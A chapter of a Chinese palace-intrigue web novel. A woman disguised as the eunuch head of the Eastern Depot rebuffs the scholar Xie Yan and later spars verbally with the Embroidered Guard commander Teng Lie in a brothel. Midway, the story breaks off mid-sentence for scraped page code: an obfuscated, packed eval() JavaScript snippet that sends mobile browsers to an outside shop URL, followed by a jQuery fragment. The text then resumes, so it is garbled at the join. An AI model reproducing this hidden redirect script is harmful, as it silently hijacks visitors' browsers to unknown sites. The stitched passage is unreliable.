5. 第 5 章
    白惜时的伤确实不重,只是有些小伤和青紫,只不过在一片白皙细嫩的皮肉上,还是显得有些突兀。

    替白惜时把褪下的裘裤叠好,盖上被子,孟姑姑忍了忍,还是忧心起来。

    “我虽知厂督带回解衍必有原因,但下次还是三思而行。不然若是一个行差踏错女儿身叫人发现,那可是杀头的死罪。”

    白惜时趴在床上,侧头朝冲她笑了笑,“姑姑不必忧虑,我这不是没事么。”

    “有事。”孟姑姑坚持,“小伤厂督也需好好将养,不能大意也不好留疤的。”

    留疤……

    其实白惜时倒无所谓,她自穿过来便揣着个官宦的身份,如今还混成了个人尽皆知的大官宦,这辈子,那隐秘地方即便留了疤,除了孟姑姑,应该也没机会给人见上一见。

    若是见着了,估摸着她这条小命也快要到头了。

    不过白惜时并不准备跟孟姑姑在这个问题上掰扯,于是只点头,道了声“好”。

    话音刚落,屋子外响起了三下规规矩矩的叩门之声,孟姑姑又低头检查了一下白惜时的衣裳,才开口道:“进来吧。”

    本以为会是那送药的小侍,但脚步声又不大对,明显沉稳许多,待那人绕过屏风,白惜时与孟姑姑目光俱是一顿。

    没想到,进来的竟是解衍。

    男子径直走至床边,言简意赅说明了来意,“送药。”

    ……

    下巴枕在枕头上,只一眼,白惜时便敏锐地发现,解衍眼中独对自己的那股进攻性没有了。

    什么原因,她自然猜得到。

    不过好也罢坏也罢,她并不在意解衍如何看自己,因而整个人兴致缺缺,将头又摆正了回去。

    其实之前那种眼神想想还挺带劲的,让白惜时有一种当大反派的体验。

    孟姑姑这时候站起身,看着托盘问道:“怎么是解郎君送进来的,那小侍呢?”

    解衍:“彭管事另有事交予他。”

    一提到彭管事,孟姑姑便立刻明白了事情始末,彭管事不可能叫得是解衍,应该是想解柔云送东西进来。

    至于最后为什么进来的会是解衍,答案显而易见。

    想到这孟姑姑点点头,“有劳解郎君了,便放在这里吧。”

    解衍曾是万里挑一的探花郎,矜雅卓然,即便现在的只是一身杂役的装束,也难掩清俊,更没有人会真正看轻他。

    孟姑姑也不例外。

    解衍按照孟姑姑的吩咐将托盘放在床头的案几。

    但放下后,似乎并没有要走的打算。

    白惜时等了一会,发现有人还杵在原地,莫名其妙,又扫了他一眼。

    解衍的目光倒是没在白惜时身的上停留,只看着孟姑姑。

    孟姑姑:“谢郎君,还有事?”

    解衍声线低醇,“舍妹幼时体弱,为及时医治我也学了些药理。若是需要,在下可……”

    他的意思,是要留下来帮忙?

    “不需要。”白惜时想都没想,冷声打断。

    她被子底下没穿裤子!这伤是他能看的吗?

    这人身份适应的挺快,一发现自己没对她妹妹做什么,倒是又换了副态度。

    防备她叫解柔云进来上药,索性毛遂自荐了?

    “出去。”

    白惜时阖上眼,根本不可能叫解衍看到她屁股上的伤。

    孟姑姑打圆场,“这里有我就行了,谢郎君刚来府上,屋子和行李应该还没安顿妥当,这便收拾休整去吧。”

    想了一下又道:“也可叫上解姑娘一起帮忙。”

    解衍一听此话,明了白惜时一时半会不会寻解柔云,眉宇间果然松动了些。

    “多谢,叨扰。”

    留下这四个字,解衍利落转身。

    待他跨过门槛,重新阖上房门,孟姑姑回过头来感叹道:“没想到还是个好哥哥。这么好的一个郎君,倒真是可惜了。”

    白惜时重新睁开眼,有些漫不经心,“哪里可惜?”

    “长得好,读书好,身姿挺拔,性子瞧着也持重,才十九岁啊,本该是最意气风发的年纪,结果被家族牵连至此,厂督觉得不可惜吗?”

    可惜?

    或许吧,但这与白惜时无关。

    倒是孟姑姑说的“长得好”她很赞同,毕竟这人长得像他。

    魏廷川,当年算是高门贵胄中公认的第一公子。

    等了片刻不见白惜时回答,却见她目光虚望着前方似有心事,孟姑姑没再继续方才的话题,只一边将药油在手中揉热,一边将被子掀开覆在她的伤处。

    “厂督且忍忍,一会便好。”

    —

    白惜时在床上躺了三日,这三日里,元盛拿着由解衍译出的书信,已从那冉回富商口中逼问出了与他交易的人员名单,只不过与他做买卖的都是下头之人,很多不知道背后的主子是谁。

    这个顺藤摸瓜,倒是好查。

    但那富商还供出了一条重要消息,那便是他们交易的地点不止一个,还有另一处是方宪明都不曾知道的,且那里的冉回商人不止他一个,还有几个生意做得没他大的散商,也集聚在那里收些大魏商品。

    这条线索听起来有蹊跷,白惜时决定亲自去查看一趟。

    不过那冉回富商交待的地点竟是一间瓮堂,也就是现代所说的澡堂浴场,此处鱼龙混杂,确实是掩人耳目的有利场所。

    白惜时在那瓮堂与对面的青楼之间没有取舍,毫不犹豫便踏入了红袖香鬓之中。

    太监逛青楼,总比泡澡堂子合理一些。

    因着白惜时之前都生活在宫中,此时与千闵元盛又都是一身常服,青楼中的跑堂没识出几人身份,只当是新来的恩客。

    按照客人要求,跑堂的将三人领到二楼的凭窗之处,尚未开口询问客人喜好,对面的那张桌子却已然传来了一声嗤笑。

    不仅是跑堂的,白惜时连带着千闵、元盛都一齐望过去,这一望,白惜时心下了然,透过洞开的窗户又扫了眼街对面的瓮堂,再看过去,目光便凉了下来。

    对桌四、五人皆着常服,但白惜时一眼便知,那是锦衣卫,而当中坐着的不是旁人,正是锦衣卫指挥使滕烈。

    不过那一声笑倒不是他发出来的,而是坐于他左侧的指挥佥事,蒋寅。

    掏出一锭银子抛给跑堂的,千闵挥手叫人下去,那跑堂的也是人精,眼见两桌人物似是不对付,将推荐姑娘的话又咽了回去,只上了茶水便点头哈腰退了出去。

    此时,窗口附近便只剩这么两桌人。

    千闵提起茶壶斟茶,低头送至白惜时面前,白惜时气定神闲,端起茶盏喝了一口。

    蒋寅见方才挑衅的未得回应,不甘心,这回直接开口。

    “没想到兄弟门出来乐呵乐呵,于此处竟遇到了厂督。厂督白日日理万机,夜中还来狎妓玩乐,但属下以为,厂督不宜操劳过度,以免伤身呐。”

    此言一出,除了滕烈,其余几个锦衣卫均哈哈笑了起来,太监没有那家伙事,又谈何伤身?

    蒋寅分明是看白惜时年纪轻资历浅,不把他这个厂督放在眼里。

    但他之所以敢公然叫嚣,究其根本,还是取决去指挥使滕烈的态度。

    按照惯例,锦衣卫向来听令于东厂,但因前任东厂厂督与锦衣卫指挥

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13251701|139635||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    使合谋犯案,皇帝似乎不希望东厂与锦衣卫走得太近,因而在人员任免上也用了一番心思。

    滕烈,出自勋贵之后,家族世代簪缨,二十二岁便担任禁军首领,二十四岁提拔为锦衣卫指挥使,为人桀骜不驯、恣意无拘。

    而白惜时在背景、资历上显然不如滕烈,年纪也不占优势。

    简而言之,滕烈不服白惜时。

    以至于形成了当前锦衣卫不大听从东厂调遣的局面,白惜时自上任以来,确实感受到了这方面的掣肘。

    滕烈此人,白惜时一时半会还没想到拿捏拉拢之法,但并不意味着,她就能被人骑在头上打压。

    闻言,白惜时扬唇抬眸,视线投过去,带着一股阴恻恻的狠。

    她睨着蒋寅,“既然自称一声属下,就该清楚,咱家不仅可以狎妓,若是不挑,亦可狎你。”

    这话说得张狂,直接将蒋寅比喻成那供人狎玩的妓子。

    蒋寅愣了片刻,他生得人高马大,没想到有一天竟会被个不男不女的太监如此贬低,

    瞬间气得面红脖子粗。

    “你说什么,你……”

    滕烈此前一直未语专心赏曲,直到这时候才伸手,拦下就要往前理论的蒋寅。

    “下头人不懂规矩,厂督担待。”

    男子声线低沉轻慢,口上虽说着道歉之语,然神色倨傲散漫,显然未将白惜时放在眼里。

    说罢她点了点身侧美娇娘,一指对面,“搅扰厂督雅兴,蝶娘,替我去给厂督敬杯酒,赔个不是。”

    蝶娘已从方才的对话中知道了白惜时的身份,同样也明白滕烈的势力,此刻夹在两方中间,十分为难,她怕贸然过去,会遭白惜时记恨。

    毕竟明眼人都看得出来,滕烈根本不是真心实意道歉,如若真心,他当自己过去。

    可眼下他仍然端坐如初,连个身子都未起。

    女子拿酒杯的动作出现了几分迟疑。

    “蝶娘放心,既叫你去,定会护你周全。”

    滕烈这个时候靠近女子,在她身边低语了一句。

    有了郎君的保证,蝶娘又悄悄抬眼瞧着面前俊朗威严的指挥使,心口没来由一跳,点了点头,端着酒杯朝白惜时走了过来。

    她婷婷袅袅,朝白惜时一伏身,这时候才真真正正看清厂督的面目。

    竟是比楼中花魁还要惹眼的一张脸,只是这惹眼中又裹挟着凛凛寒光,自是勾勒出一副雌雄莫辨的气势。

    蝶娘不敢多瞧,快速垂下眼帘,“厂督宽仁,蝶娘仰慕,奴家敬您一杯,还请您赏光。”

    她猜测厂督根本不会喝,只盼着不要过于为难才好。

    闻言觑了蝶娘一眼,视线下移,又瞥见对方举杯的手正微微发着抖,白惜时收回目光,半晌之后,将杯盏送至唇边,浅酌了一口。

    蝶娘微张着嘴巴,满脸写着错愕。

    白惜时却已镇定从容,将酒杯叩回桌面。

    白惜时知道,对面之人都在等着自己摔杯叫嚣、怒火中烧,叫一个妓子来敬酒赔不是,显然是在下她的脸面。

    白惜时自然不会被轻易激怒。

    何况,她也不喜欢为难不相干之人,若是为难,更倾向于为难直接挑衅自己的一方。

    滕烈显然也没想到白惜时会是如此反应,见状搁下酒盏,修长的指节敲击着桌面。

    “厂督惯会怜香惜玉。”

    知他是意指霸占解柔云之事,白惜时听后很认同,甚至还大方点了点头,又用余光扫了眼街对面的瓮堂。

    继而不紧不慢开腔,“爱美之人人皆有之,不过不比指挥使,除了怜香惜玉……还会,逢场作戏。”